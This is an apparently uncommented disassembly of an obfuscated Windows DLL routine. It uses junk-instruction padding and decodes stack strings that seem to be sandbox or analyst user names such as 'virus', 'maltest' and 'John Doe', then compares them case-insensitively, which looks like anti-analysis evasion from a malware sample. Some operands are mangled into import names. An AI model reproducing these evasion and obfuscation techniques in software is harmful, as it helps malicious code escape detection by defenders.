pushf
not eax
add eax, 0x9cfd21ae
xor eax, 0xf94b3881
rol eax, 0x19
popf
pushf
not eax
add eax, 0xd150e1b3
xor eax, 0x99a96faf
rol eax, 0xe6
popf
jmp 0x180048ab9
movsx ecx, byte [rsp + rdx + 0x73]
sub ecx, 4
mov byte [rsp + rdx + 0x73], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 7
jb 0x180049e66
push rax
pushf
mov eax, 0x3b6ae26a
pushf
not eax
add eax, 0x989511e2
xor eax, 0xbe360fa2
rol eax, 0x79
popf
pushf
not eax
add eax, 0xade067c9
xor eax, 0x946d9213
rol eax, 0x49
popf
pushf
not eax
add eax, 0xe3a36645
xor eax, 0xb4d34d5f
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xf33c765b
xor eax, 0xb460698a
rol eax, 0x59
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x4cc30a74
pushf
not eax
add eax, 0xcd881902
xor eax, 0xfde40bee
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xafa4cb2d
xor eax, 0x9b1b4532
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xcfe925d2
xor eax, 0xe9b1ad00
rol eax, 0xd4
popf
jmp 0x180048ab9
lea rdx, [rsp + 0x73]
lea rcx, [rbp + 0x1a0]
call fcn.1800526b5
nop
mov dword [rsp + 0x38], 0x4f
mov eax, dword [rsp + 0x38]
xor eax, 0x6d
mov byte [rsp + 0x3c], al
mov eax, dword [rsp + 0x38]
add al, bl
xor eax, 0x61
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x38]
add al, 2
xor eax, 0x6c
mov byte [rsp + 0x3e], al
mov eax, dword [rsp + 0x38]
add al, 3
xor eax, 0x74
mov byte [rsp + 0x3f], al
mov eax, dword [rsp + 0x38]
add al, 4
xor eax, 0x65
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x38]
add al, sil
xor eax, 0x73
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x38]
add al, dil
xor eax, 0x74
mov byte [rsp + 0x42], al
xor eax, eax
mov byte [rsp + 0x43], al
mov al, byte [rsp + 0x3c]
mov rdx, r14
push rax
pushf
mov eax, 0x2ca5ab6c
pushf
not eax
add eax, 0x9e8235d4
xor eax, 0xc6d5db34
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x833344c0
xor eax, 0xf059c884
rol eax, 0x71
popf
pushf
not eax
add eax, 0xc3eacc53
xor eax, 0xee8d5d1c
rol eax, 0xe8
popf
jmp 0x180048ab9
movsx eax, byte [rsp + rdx + 0x3c]
mov ecx, dword [rsp + 0x38]
add cl, dl
xor ecx, eax
mov byte [rsp + rdx + 0x3c], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 7
jb 0x180049fca
push rax
pushf
mov eax, 0x786902e1
pushf
not eax
add eax, 0x88131301
xor eax, 0xee00fb90
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xd61b0718
xor eax, 0xd9eba9a6
rol eax, 0xb1
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0xd1332722
pushf
not eax
add eax, 0xe0bd978f
xor eax, 0xd810617f
rol eax, 0x54
popf
pushf
not eax
add eax, 0xeab79e64
xor eax, 0xd97944c2
rol eax, 0x53
popf
jmp 0x180048ab9
mov byte [rsp + 0x43], r14b
lea rdx, [rsp + 0x3c]
lea rcx, [rbp + 0x1c0]
call fcn.1800526b5
nop
mov byte [rbp - 0x3f], 0x80
mov byte [rbp - 0x3e], WSAStartup
mov byte [rbp - 0x3d], 0x7f
mov byte [rbp - 0x3c], 0x80
mov byte [rbp - 0x3b], 0x2c
mov byte [rbp - 0x3a], 0x81
mov byte [rbp - 0x39], 0x7f
mov byte [rbp - 0x38], WSAStartup
mov byte [rbp - 0x37], 0x7e
mov byte [rbp - 0x36], r14b
mov al, byte [rbp - 0x3f]
mov rdx, r14
push rax
pushf
mov eax, 0xdf0fee6d
pushf
not eax
add eax, 0x8b348d07
xor eax, 0x997db224
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xdf286e70
xor eax, 0xe75fe83d
rol eax, 0x48
popf
pushf
not eax
add eax, 0xe4cd4a06
xor eax, 0xcd10c95e
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xfa0c1743
xor eax, 0xdcfc404a
rol eax, 0x47
popf
jmp 0x180048ab9
movsx ecx, byte [rbp + rdx - 0x3f]
sub ecx, 0xc
mov byte [rbp + rdx - 0x3f], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 9
jb 0x18004a112
push rax
pushf
mov eax, 0xf592d2ae
pushf
not eax
add eax, 0xeb648910
xor eax, 0xa0c1c8f4
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xf01732e4
xor eax, 0x8f323a31
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xfddbe493
xor eax, 0xe3b8e58d
rol eax, 0x79
popf
pushf
not eax
add eax, 0x90f3d692
xor eax, 0xb6139171
rol eax, 0xdc
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x2975f1b9
pushf
not eax
add eax, 0xdcc6cf39
xor eax, 0xcb79eb74
rol eax, 0x66
popf
pushf
not eax
add eax, 0xe2f73a72
xor eax, 0xb93cf9c8
rol eax, 0xac
popf
pushf
not eax
add eax, 0xf2f2a008
xor eax, 0x830ce9ee
rol eax, 8
popf
jmp 0x180048ab9
lea rdx, [rbp - 0x3f]
lea rcx, [rbp + 0x1e0]
call fcn.1800526b5
nop
mov byte [rbp + 0x400], 0x83
mov byte [rbp + 0x401], 0x76
mov byte [rbp + 0x402], 0x7f
mov byte [rbp + 0x403], 0x82
mov byte [rbp + 0x404], 0x80
mov byte [rbp + 0x405], r14b
mov al, byte [rbp + 0x400]
mov rdx, r14
push rax
pushf
mov eax, 0x5be487dc
pushf
not eax
add eax, 0xcf3a2297
xor eax, 0xa5cd5aa0
rol eax, 0x49
popf
pushf
not eax
add eax, 0xd609e079
xor eax, 0xaf13011f
rol eax, 0x55
popf
pushf
not eax
add eax, 0xb393c551
xor eax, 0xb6d1a8a0
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xae910e9f
xor eax, 0xcaa1e048
rol eax, 0xf4
popf
jmp 0x180048ab9
movsx ecx, byte [rbp + rdx + 0x400]
sub ecx, 0xd
mov byte [rbp + rdx + 0x400], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, rsi
jb 0x18004a25e
push rax
pushf
mov eax, 0x63c6f13b
pushf
not eax
add eax, 0xeda25093
xor eax, 0xa0921b88
rol eax, 0xff
popf
pushf
not eax
add eax, 0xfe6bf610
xor eax, 0xfdf6ee9b
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xf6f2020b
xor eax, 0xa62b0d0c
rol eax, 0xc1
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x6fae0c44
pushf
not eax
add eax, 0xea96924a
xor eax, 0xeb57da65
rol eax, 6
popf
pushf
not eax
add eax, 0xd7130ed3
xor eax, 0x973bf6af
rol eax, 0x24
popf
jmp 0x180048ab9
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x200]
call fcn.1800526b5
nop
mov byte [rbp - 0x48], 0x54
mov byte [rbp - 0x47], 0x79
mov byte [rbp - 0x46], WSAStartup
mov byte [rbp - 0x45], 0x78
mov byte [rbp - 0x44], 0x2a
mov byte [rbp - 0x43], 0x4e
mov byte [rbp - 0x42], 0x79
mov byte [rbp - 0x41], 0x6f
mov byte [rbp - 0x40], r14b
mov al, byte [rbp - 0x48]
mov rdx, r14
push rax
pushf
mov eax, 0xa77e18ce
pushf
not eax
add eax, 0xea610be5
xor eax, 0xb889f742
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xe08f9f1b
xor eax, 0xcb514659
rol eax, 0x97
popf
jmp 0x180048ab9
movsx ecx, byte [rbp + rdx - 0x48]
sub ecx, 0xa
mov byte [rbp + rdx - 0x48], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 8
jb 0x18004a379
push rax
pushf
mov eax, 0x5892f4d5
pushf
not eax
add eax, 0xcefdcbf6
xor eax, 0xf7af9bf7
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x8bde1dca
xor eax, 0xa3d2c89e
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xa89794ea
xor eax, 0x82d8b305
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x85e1142d
xor eax, 0xf9b7e988
rol eax, 0xe5
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0xff0d0537
pushf
not eax
add eax, 0xccb06db8
xor eax, 0x8d5b5f41
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xe8a6bfd5
xor eax, 0x8fdac89c
rol eax, 0x26
popf
pushf
not eax
add eax, 0xd5ac4e62
xor eax, 0xe90db25c
rol eax, 0xf7
popf
jmp 0x180048ab9
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x220]
call fcn.1800526b5
nop
mov dword [rsp + 0x7c], 0x3e
mov eax, dword [rsp + 0x7c]
xor eax, 0x39
mov byte [rbp - 0x80], al
mov eax, dword [rsp + 0x7c]
add al, bl
xor eax, 0x5a
mov byte [rbp - 0x7f], al
mov eax, dword [rsp + 0x7c]
add al, 2
xor eax, 0x61
mov byte [rbp - 0x7e], al
mov eax, dword [rsp + 0x7c]
add al, 3
xor eax, 0x58
mov byte [rbp - 0x7d], al
mov eax, dword [rsp + 0x7c]
add al, 4
xor eax, 0x6a
mov byte [rbp - 0x7c], al
xor eax, eax
mov byte [rbp - 0x7b], al
mov al, byte [rbp - 0x80]
mov rdx, r14
push rax
pushf
mov eax, 0x52ae3ef7
pushf
not eax
add eax, 0x8445155d
xor eax, 0xddeecdde
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xd7dcdc57
xor eax, 0xcd20e19d
rol eax, 0x15
popf
pushf
not eax
add eax, 0xe7b91f36
xor eax, 0xb7637ac5
rol eax, 0xe1
popf
jmp 0x180048ab9
movsx eax, byte [rbp + rdx - 0x80]
mov ecx, dword [rsp + 0x7c]
add cl, dl
xor ecx, eax
mov byte [rbp + rdx - 0x80], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, rsi
jb 0x18004a4cb
push rax
pushf
mov eax, 0x803c55b9
pushf
not eax
add eax, 0x99cfdb12
xor eax, 0xfe76fee8
rol eax, 0x60
popf
pushf
not eax
add eax, 0x918d731d
xor eax, 0xf9c3affa
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xdcac1304
xor eax, 0xd4867eea
rol eax, 0xc9
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x6759b78d
pushf
not eax
add eax, 0x8c587034
xor eax, 0xf54f5de9
rol eax, 0x82
popf
pushf
not eax
add eax, 0xd4f4a49e
xor eax, 0x8c1d0f5e
rol eax, 0xc
popf
jmp 0x180048ab9
mov byte [rbp - 0x7b], r14b
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x240]
call fcn.1800526b5
nop
mov dword [rsp + 0x44], 0x37
mov eax, dword [rsp + 0x44]
xor eax, 0x57
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x44]
add al, bl
xor eax, 0x41
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x44]
add al, 2
xor eax, 0x4c
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x44]
add al, 3
xor eax, 0x4b
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x44]
add al, 4
xor eax, 0x45
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x44]
add al, sil
xor eax, 0x52
mov byte [rsp + 0x4d], al
xor eax, eax
mov byte [rsp + 0x4e], al
mov al, byte [rsp + 0x48]
mov rdx, r14
push rax
pushf
mov eax, 0x2b6e12be
pushf
not eax
add eax, 0x9a0c30ad
xor eax, 0x962b3e6c
rol eax, 0x75
popf
pushf
not eax
add eax, 0xa87c984a
xor eax, 0xe832ca63
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xf1f22dba
xor eax, 0xb5cb9b9c
rol eax, 3
popf
pushf
not eax
add eax, 0xcd9d307a
xor eax, 0xed144f00
rol eax, 0xfd
popf
jmp 0x180048ab9
movsx eax, byte [rsp + rdx + 0x48]
mov ecx, dword [rsp + 0x44]
add cl, dl
xor ecx, eax
mov byte [rsp + rdx + 0x48], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, rdi
jb 0x18004a636
push rax
pushf
mov eax, 0xc03dc1c
pushf
not eax
add eax, 0xe658803f
xor eax, 0xd962891e
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xaf959612
xor eax, 0xfb7234e7
rol eax, 0x32
popf
pushf
not eax
add eax, 0xd71ca706
xor eax, 0xb4fda268
rol eax, 0x5a
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0xac32102
pushf
not eax
add eax, 0xf900d0bc
xor eax, 0xb95e9889
rol eax, 0x72
popf
pushf
not eax
add eax, 0xf6815a50
xor eax, 0xb9bffcc7
rol eax, 0xe3
popf
jmp 0x180048ab9
mov byte [rsp + 0x4e], r14b
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x260]
call fcn.1800526b5
nop
mov dword [rbp - 0x58], 0x1c
mov eax, dword [rbp - 0x58]
xor eax, 0x76
mov byte [rbp - 0x54], al
mov eax, dword [rbp - 0x58]
add al, bl
xor eax, 0x62
mov byte [rbp - 0x53], al
mov eax, dword [rbp - 0x58]
add al, 2
xor eax, 0x63
mov byte [rbp - 0x52], al
mov eax, dword [rbp - 0x58]
add al, 3
xor eax, 0x63
mov byte [rbp - 0x51], al
mov eax, dword [rbp - 0x58]
add al, 4
xor eax, 0x73
mov byte [rbp - 0x50], al
mov eax, dword [rbp - 0x58]
add al, sil
xor eax, 0x62
mov byte [rbp - 0x4f], al
mov eax, dword [rbp - 0x58]
add al, dil
xor eax, 0x5f
mov byte [rbp - 0x4e], al
mov eax, dword [rbp - 0x58]
add al, 7
xor eax, 0x2a
mov byte [rbp - 0x4d], al
xor eax, eax
mov byte [rbp - 0x4c], al
mov al, byte [rbp - 0x54]
mov rdx, r14
push rax
pushf
mov eax, 0x142e3023
pushf
not eax
add eax, 0xeca1187d
xor eax, 0xb67c7a97
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xbb229f5e
xor eax, 0xedad9a30
rol eax, 0xff
popf
pushf
not eax
add eax, 0x9285becb
xor eax, 0xe5c83f50
rol eax, 0x62
popf
pushf
not eax
add eax, 0x8d5a4f19
xor eax, 0xe4edfe87
rol eax, 0x57
popf
jmp 0x180048ab9
movsx eax, byte [rbp + rdx - 0x54]
mov ecx, dword [rbp - 0x58]
add cl, dl
xor ecx, eax
mov byte [rbp + rdx - 0x54], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, 8
jb 0x18004a798
push rax
pushf
mov eax, 0x3132e8e1
pushf
not eax
add eax, 0xedfe67c7
xor eax, 0x906faae8
rol eax, 0x30
popf
pushf
not eax
add eax, 0x88dec668
xor eax, 0xb4d19b43
rol eax, 0xdc
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0xe190830f
pushf
not eax
add eax, 0x98338dc9
xor eax, 0xe4c1f2dc
rol eax, 0xd
popf
pushf
not eax
add eax, 0xf12f8245
xor eax, 0xb522d7f8
rol eax, 0x28
popf
jmp 0x180048ab9
mov byte [rbp - 0x4c], r14b
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x280]
call fcn.1800526b5
nop
mov byte [rsp + 0x64], 0x77
mov byte [rsp + 0x65], 0x63
mov byte [rsp + 0x66], 0x64
mov byte [rsp + 0x67], 0x64
mov byte [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x69], 0x63
mov byte [rsp + 0x6a], r14b
mov al, byte [rsp + 0x64]
mov rdx, r14
push rax
pushf
mov eax, 0x43ffe4ce
pushf
not eax
add eax, 0x91128bcc
xor eax, 0xb95ebb76
rol eax, 0x63
popf
pushf
not eax
add eax, 0xba939db6
xor eax, 0xa2be1f19
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x97ce20af
xor eax, 0xc368ae18
rol eax, 0x20
popf
jmp 0x180048ab9
movsx ecx, byte [rsp + rdx + 0x64]
sub ecx, ebx
mov byte [rsp + rdx + 0x64], cl
push rbx
not rbx
sub rdx, rbx
pop rbx
sub rdx, 1
cmp rdx, rdi
jb 0x18004a8c5
push rax
pushf
mov eax, 0xb335c35a
pushf
not eax
add eax, 0xf5a7c5c4
xor eax, 0xc7c5f228
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xe3966f4a
xor eax, 0x8f3aca81
rol eax, 0x50
popf
pushf
not eax
add eax, 0x83c555f4
xor eax, 0x82eebcfe
rol eax, 0x91
popf
pushf
not eax
add eax, 0x89457173
xor eax, 0xbb0dacb4
rol eax, 0xeb
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0xb8305be8
pushf
not eax
add eax, 0xe2d62fe6
xor eax, 0xc9f97053
rol eax, 0x93
popf
pushf
not eax
add eax, 0xb48e9c3e
xor eax, 0x9717d358
rol eax, 0x57
popf
jmp 0x180048ab9
lea rdx, [rsp + 0x64]
lea rcx, [rbp + 0x2a0]
call fcn.1800526b5
nop
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov qword [rbp + 0x10], r14
lea r8, [rbp + 0x2c0]
lea rdx, [rbp + 0x20]
lea rcx, [rbp]
call fcn.18005fb13
nop
lea r9, [0x1d5acbe81]
pushf
sub r9, 0x55ac8eed
popf
mov edx, 0xb8110fc8
pushf
not edx
add edx, 0xafd68226
xor edx, 0xdb9b56f0
rol edx, 0x70
popf
pushf
not edx
add edx, 0xd343cd14
xor edx, 0xb7fabec4
rol edx, 0x55
popf
pushf
not edx
add edx, 0xb277f23c
xor edx, 0xe450c4b8
rol edx, 0x13
popf
lea r8d, [rdx - 0xb]
lea rcx, [rbp + 0x20]
call fcn.18005b05c
mov rdi, qword [rbp]
mov rsi, qword [rbp + 8]
jmp 0x18004ab82
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x18004aa31
push rax
pushf
mov eax, 0xc9c118ca
pushf
not eax
add eax, 0x9c92b127
xor eax, 0xfa36c334
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xd0ae1cbc
xor eax, 0xc67445ea
rol eax, 0xc2
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x1afe6b13
pushf
not eax
add eax, 0xa8d7d8e5
xor eax, 0xe3663f73
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xbb983087
xor eax, 0xd688bf3a
rol eax, 0x51
popf
pushf
not eax
add eax, 0xe772dd41
xor eax, 0x89467d9d
rol eax, 0x18
popf
pushf
not eax
add eax, 0xf79ed002
xor eax, 0xcc64228b
rol eax, 0x58
popf
jmp 0x180048ab9
mov rdx, qword [rdi]
push rax
pushf
mov eax, 0xa0b591b7
pushf
not eax
add eax, 0xb362166a
xor eax, 0xdeef4732
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xa07d2283
xor eax, 0xf8ab48e4
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xef3e3394
xor eax, 0xf8940193
rol eax, 0xb0
popf
jmp 0x180048ab9
lea rcx, [rbp + 0x2c0]
jmp 0x18004aadb
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x18004ab18
push rax
pushf
mov eax, 0x6a6d38b9
pushf
not eax
add eax, 0xf69cc5a3
xor eax, 0xf3601f90
rol eax, 0x63
popf
pushf
not eax
add eax, 0xb4688d6f
xor eax, 0xb9ebf0d3
rol eax, 0xfd
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x9e7d1ac6
pushf
not eax
add eax, 0xa4709e69
xor eax, 0xbe864b22
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xb8ccae9d
xor eax, 0xe1b22baf
rol eax, 0x91
popf
jmp 0x180048ab9
add rdi, 0x20
push rax
pushf
mov eax, 0xf8605918
pushf
not eax
add eax, 0xe1730e09
xor eax, 0x9b4fbdbd
rol eax, 0x52
popf
pushf
not eax
add eax, 0xcd11a485
xor eax, 0xa7daa310
rol eax, 0x15
popf
jmp 0x180048ab9
cmp rdi, rsi
jne 0x18004abcd
push rax
pushf
mov eax, 0xc2bf5964
pushf
not eax
add eax, 0xc1e905a2
xor eax, 0xd33f94f0
rol eax, 0xad
popf
pushf
not eax
add eax, 0xd72d3f4e
xor eax, 0xa84800ac
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xe7087b6d
xor eax, 0xf8f19913
rol eax, 0xfa
popf
jmp 0x180048ab9
push rax
pushf
mov eax, 0x7c2bdc88
pushf
not eax
add eax, 0x857b4598
xor eax, 0xa0d764c0
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x9951ef20
xor eax, 0xb653b687
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x8eb175ca
xor eax, 0xb53e6403
rol eax, 0x8e
popf
jmp 0x180048ab9
mov bl, r14b
push rax
pushf
mov eax, 0x598aaabd
pushf
not eax
add eax, 0x8b7d4792
xor eax, 0xdb9fbd7b
rol eax, 0x91
popf
pushf
not eax
add eax, 0xb3fb0033
xor eax, 0xcb182b1a
rol eax, 0x96
popf
pushf
not eax
add eax, 0xe788d2da
xor eax, 0xa2ede2fe
rol eax, 0x71
popf
pushf
not eax
add eax, 0xcbed8f47
xor eax, 0xaa1886de
rol eax, 0x13
popf
jmp 0x180048ab9
lea rcx, [rbp]
call fcn.180059620
mov al, bl
add rsp, 0x4c0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret